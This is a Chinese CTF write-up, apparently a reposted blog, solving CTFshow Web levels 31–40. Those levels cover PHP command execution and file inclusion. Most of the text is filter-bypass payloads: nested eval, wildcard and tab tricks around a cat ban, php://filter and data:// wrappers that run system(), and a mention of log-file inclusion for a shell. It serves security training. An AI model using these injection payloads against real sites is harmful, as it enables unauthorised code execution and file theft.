《CTFshow - Web入门》04. Web 31~40

news2024/12/23 14:10:07

Web 31~40

  • web31
    • 知识点
    • 题解
  • web32
    • 知识点
    • 题解
  • web33
    • 知识点
    • 题解
  • web34
    • 知识点
    • 题解
  • web35
    • 知识点
    • 题解
  • web36
    • 知识点
    • 题解
  • web37
    • 知识点
    • 题解
  • web38
    • 知识点
    • 题解
  • web39
    • 知识点
    • 题解
  • web40
    • 知识点
    • 题解


web31

知识点

这里依旧可以用到 web29 的方法:

  • 嵌套eval逃逸参数

当然,能多学一点自然是要多学一点。要像韩跑跑一样多留后手(不是

  • url编码
  • Linux:通配符、其他命令

题解

过滤了空格、点、单引号和cat

在这里插入图片描述
方法一

经典逃逸

url + ?c=eval($_GET[1]);&1=system('tac flag.php');

在这里插入图片描述
方法二

空格的绕过可以使用 %09 (tab)
使用通配符来匹配文件

url + ?c=echo%09`tac%09fl*`;

在这里插入图片描述
方法三
利用无参数函数:

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述
等多种方法

cat被过滤的解决方案:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

web32

知识点

  • PHP:伪协议、文件包含、php代码的闭合。

题解

源码过滤了分号,echo,反引号,单引号,括号,分号。但没有过滤双引号。

在这里插入图片描述
方法一
嵌套include文件包含,利用伪协议文件包含。
过滤了分号,那么可以直接 ?> 闭合php( ?> 闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的。除此以外,php代码最后一句可以不用加分号)

url + ?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码过后的源码。

在这里插入图片描述

原理大概就是,这里传了两个参数,
第一个参数c的内容是 include$_GET["a"]?>,
第二个参数a,不受后边匹配条件的影响。
即后面的php协议不会受到正则的约束
include传参实现文件包含,利用php伪协议就可以读取flag.php文件。
这里,也可以用$_POST,那么后续传参就通过post传参。

方法二

与方法一大同小异

url + ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

web33

知识点

  • PHP:伪协议、文件包含

题解

在上一题的基础上过滤了双引号。

在这里插入图片描述
方法一
既然过滤了双引号,那就直接加变量名。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

web34

知识点

  • PHP:伪协议、文件包含

题解

相比上题过滤了个冒号。不过并没有影响。继续用上一题的payload。

在这里插入图片描述

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

得到flag

在这里插入图片描述

web35

知识点

  • PHP:伪协议、文件包含

题解

相比上题过滤了 < 和 = 。不过还是没有影响。

在这里插入图片描述
继续沿用上一题payload

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

不要被迷惑了,第一个等号是用来传参的

得手

在这里插入图片描述

web36

知识点

  • PHP:伪协议、文件包含

题解

过滤了0-9的数字和反斜杠
(数字过滤是因为可以用数字传参,$_GET[1],所以这里把数字过滤了)

在这里插入图片描述
但还是无法阻止我们闭合php,把数组的键改为英文就可以了,比如a。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

web37

知识点

  • PHP:伪协议(data://)、文件包含
$c = 'data://text/plain,<?php echo hello?>';
include($c);

//php中,以上代码相当于包含了 <?php echo hello?>

题解

本题直接提供了一个include函数

在这里插入图片描述
方法一

data伪协议配合通配符绕过

url + ?c=data://text/plain,<?php system('cat fl*')?>

在这里插入图片描述
方法二

利用base64编解码

先对 <?php system("cat flag.php");?> 进行base64编码

在这里插入图片描述
再利用伪协议传输

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

在这里插入图片描述

web38

知识点

  • PHP:伪协议(data://)、文件包含、短标签

题解

在这里插入图片描述
解法一

可以继续沿用上一题的payload。

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

在这里插入图片描述
解法二

php代码这里可以使用php短标签进行绕过,flag.php 可继续用通配符 ? 绕过

url + ?c=data://text/plain,<?=system('tac fla?.???')?>

在这里插入图片描述

<?= 是PHP的一个短的开放式标签,是echo的开放式用法。

解法三

nginx的日志文件/var/log/nginx/access.log

题目提示可以通过包含日志文件拿shell。

这个方法试了几次,虽然蚁剑连上了,但查看不了文件。
先这样吧,之后再来试一试

web39

知识点

  • PHP:伪协议(data://)、文件包含

题解

会在后面拼接一个 .php,但是过滤了flag

在这里插入图片描述
解法一

闭合 include函数,让拼接不执行

url + ?c=data://text/plain,<?php system('cat fl*')?>)?><?php

在这里插入图片描述
解法二

其实不用做其他处理,直接用通配符代替传参即可

url + ?c=data://text/plain,<?php system('cat fl*')?>

在这里插入图片描述
因为.php 前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上。

在这里插入图片描述

data://text/plain ,这样就相当于执行了php语句。.php 因为前面的php语句已经闭合了,所以后面的 .php 会被当成html页面直接显示在页面上,起不到什么作用

web40

知识点

  • 无参数函数

题解

过滤了很多东西,但是下面是eval,可以直接函数执行

在这里插入图片描述
而且,仔细看,其中的括号过滤是中文全角的括号,而非半角的英文括号

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    eval($c);
}

所以还是可以使用括号。

解法一

使用无参数函数。

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述
解法二

题中还给了另一个解法,使用session:输入 ?c=session_start();system(session_id());
这个解法也先放一放,之后再来试试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/59423.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

# 智慧社区管理系统-基础信息管理-06抄表管理

一后端 1:entity package com.woniu.community.entity;import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor;Data AllArgsConstructor NoArgsConstructor public class Records {private int id;private int typeId;private Double num…

博安生物更新招股书:上半年亏1.5亿 绿叶制药与建银聚源是股东

雷递网 雷建平 12月3日山东博安生物技术股份有限公司&#xff08;简称&#xff1a;“博安生物”&#xff09;日前再次递交招股书&#xff0c;并更新招股书&#xff0c;准备在香港上市。上半年期内亏损1.53亿元博安生物是绿叶制药集团的附属公司&#xff0c;于2013年成立&#x…

远程桌面树莓派【内网穿透】

本篇文章主要分享如何在公网环境下&#xff0c;远程桌面连接家里的树莓派。 远程桌面环境&#xff0c;我们选择通过XRDP来实现&#xff0c;它内部使用的是windows远程桌面的协议。 而由于现在普遍处于大内网环境&#xff0c;绝大部分人都没有公网IP&#xff0c;所以我们这里用…

(9)点云数据处理学习——Global registration(全局注册)

1、主要参考 &#xff08;1&#xff09;官网的地址 Global registration — Open3D 0.16.0 documentation 2、作用和原理 2.1个人理解 PS理解&#xff1a;&#xff08;1&#xff09;ICP的作用是&#xff0c;2个点云数据在初步转换关系&#xff08;已知不精确&#xff09;的…

【关系抽取】TPLinker:单阶段联合抽取,并解决暴漏偏差

&#x1f50e;大家好&#xff0c;我是Sonhhxg_柒&#xff0c;希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流&#x1f50e; &#x1f4dd;个人主页&#xff0d;Sonhhxg_柒的博客_CSDN博客 &#x1f4c3; &#x1f381;欢迎各位→点赞…

车载GNSS/INS/LiDAR坐标系定义与理解

目录一、基本坐标系1.1 地心惯性坐标系&#xff08;Inertial coordinate system&#xff0c;i系&#xff09;1.2 地心地固坐标系&#xff08;Earth-Centered, Earth-Fixed&#xff0c;e系&#xff09;1.3 导航坐标系&#xff08;Navigation&#xff0c;n系&#xff09;1.4 车体…

[附源码]计算机毕业设计springboot疫苗药品批量扫码识别追溯系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

一、领域驱动设计核心思想与设计过程

一、软件发展的必然规律 1、软件是对真是世界的模拟&#xff0c;但真实世界软件十分复杂。 2、人在认识真实世界的时候总是有一个从简单到复杂的过程 3、软件需求的变更成为一种必然的事情&#xff0c;并且总是由简单向复杂转变 4、初期软件的业务逻辑十分简单清晰命令&#x…

C语言画直方图

前言 最近在看K&R的《C语言程序设计语言》这本书&#xff0c;第一单元的练习13要求画一个统计单词长度的直方图&#xff0c;这里忽略了计算单词长度的代码&#xff0c;假设已知单词长度存入一个digit数组中&#xff0c;根据这个数组画水平直方图和垂直直方图。实话说&…

C++11新特性-原始字面量

当我们书写文件路径的时候&#xff0c;会发现&#xff0c;文件路径无法正确输出&#xff0c;如下&#xff1a; 这是因为反斜杠本身就是转义的意思&#xff0c;如果想要输出反斜杠则需要两个反斜杠&#xff0c;如下&#xff1a; 当然这只是其中一种解决方法&#xff0c;还有一种…

实战项目如何抵御即跨站脚本(XSS)攻击

一、XSS攻击的危害 XSS攻击通常指的是通过利用网页开发时留下的漏洞&#xff0c;通过巧妙的方法注入恶意指令代码到网页&#xff0c;使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、Flash或者甚至是…

思派健康通过上市聆讯:F轮估值17亿美元 腾讯是大股东

雷递网 雷建平 12月3日思派健康科技日前通过聆讯&#xff0c;准备在香港上市。思派健康早在2021年8月就已经递交招股书&#xff0c;这是时隔一年多后&#xff0c;这之前第三次递交招股书。这也意味着&#xff0c;时隔一年多后&#xff0c;思派健康终于要上市了。上半年亏损3.5亿…

SpringSecurity(八)【会话管理】

八、会话管理 简介 当浏览器调用登录接口登录成功之后&#xff0c;服务端会和浏览器之间创建一个会话&#xff08;Session&#xff09;&#xff0c;浏览器在每次发送请求时都会携带一个 SessionId&#xff0c;服务端则根据这个 SessionId 来判断用户身份。当浏览器关闭之后&…

从硬件角度看服务器性能调优

bios整体配置bios系统设置Hyper Thread开启超线程&#xff0c;设置后lscpu命令Thread(s) per core 值显示为 2。超线程可以理解为CPU的虚拟化&#xff0c;一颗物理CPU并行执行两条流水线指令。确认处理器基本频率及睿频频率&#xff0c;部分处理器基础频率低&#xff0c;但是睿…

看完了你还能不懂JAVA内存模型(JMM),我输了

前言 开篇一个例子&#xff0c;我看看都有谁会&#xff1f;如果不会的&#xff0c;或者不知道原理的&#xff0c;还是老老实实看完这篇文章吧。 Slf4j(topic "c.VolatileTest") public class VolatileTest { static boolean run true; public static void main(S…

基于Java+Swing实现《扫雷》游戏

基于JavaSwing实现《扫雷》游戏一、系统介绍二、功能展示三、其他系统一、系统介绍 windows自带的游戏《扫雷》是陪伴了无数人的经典游戏&#xff0c;本程序参考《扫雷》的规则进行了简化&#xff0c;用java语言实现&#xff0c;采用了swing技术进行了界面化处理&#xff0c;设…

基于蚁群算法求解运钞车路径规划问题(Matlab代码实现)

&#x1f352;&#x1f352;&#x1f352;欢迎关注&#x1f308;&#x1f308;&#x1f308; &#x1f4dd;个人主页&#xff1a;我爱Matlab &#x1f44d;点赞➕评论➕收藏 养成习惯&#xff08;一键三连&#xff09;&#x1f33b;&#x1f33b;&#x1f33b; &#x1f34c;希…

[附源码]JAVA毕业设计桔子酒店客房管理系统(系统+LW)

[附源码]JAVA毕业设计桔子酒店客房管理系统&#xff08;系统LW&#xff09; 目运行 环境项配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目…

vue app开发调用原生方法实现权限访问授权处理(一)

vue app开发调用原生方法实现权限访问授权处理 前提&#xff1a;在写代码之前应该想清楚调用原生安卓、ios的方法&#xff0c;就应该遵循双端的方法规则&#xff0c;调用方法时应该注意&#xff0c;在这里先主要介绍一下注意事项&#xff1a; 根据App发布应用市场的要求&…

【sciter】安全应用列表控件总结

一、效果图 二、功能点 实现电脑文件拖拽进入到安全桌面,读取文件路径,生成应用。可以配置允许拖拽进入安全桌面的文件应用。点击添加图标,可以添加应用到安全桌面中。在安全桌面列表中每一个应用实现双击、失去焦点,获取焦点、右键事件在安全桌面列表中每一个应用可以实现…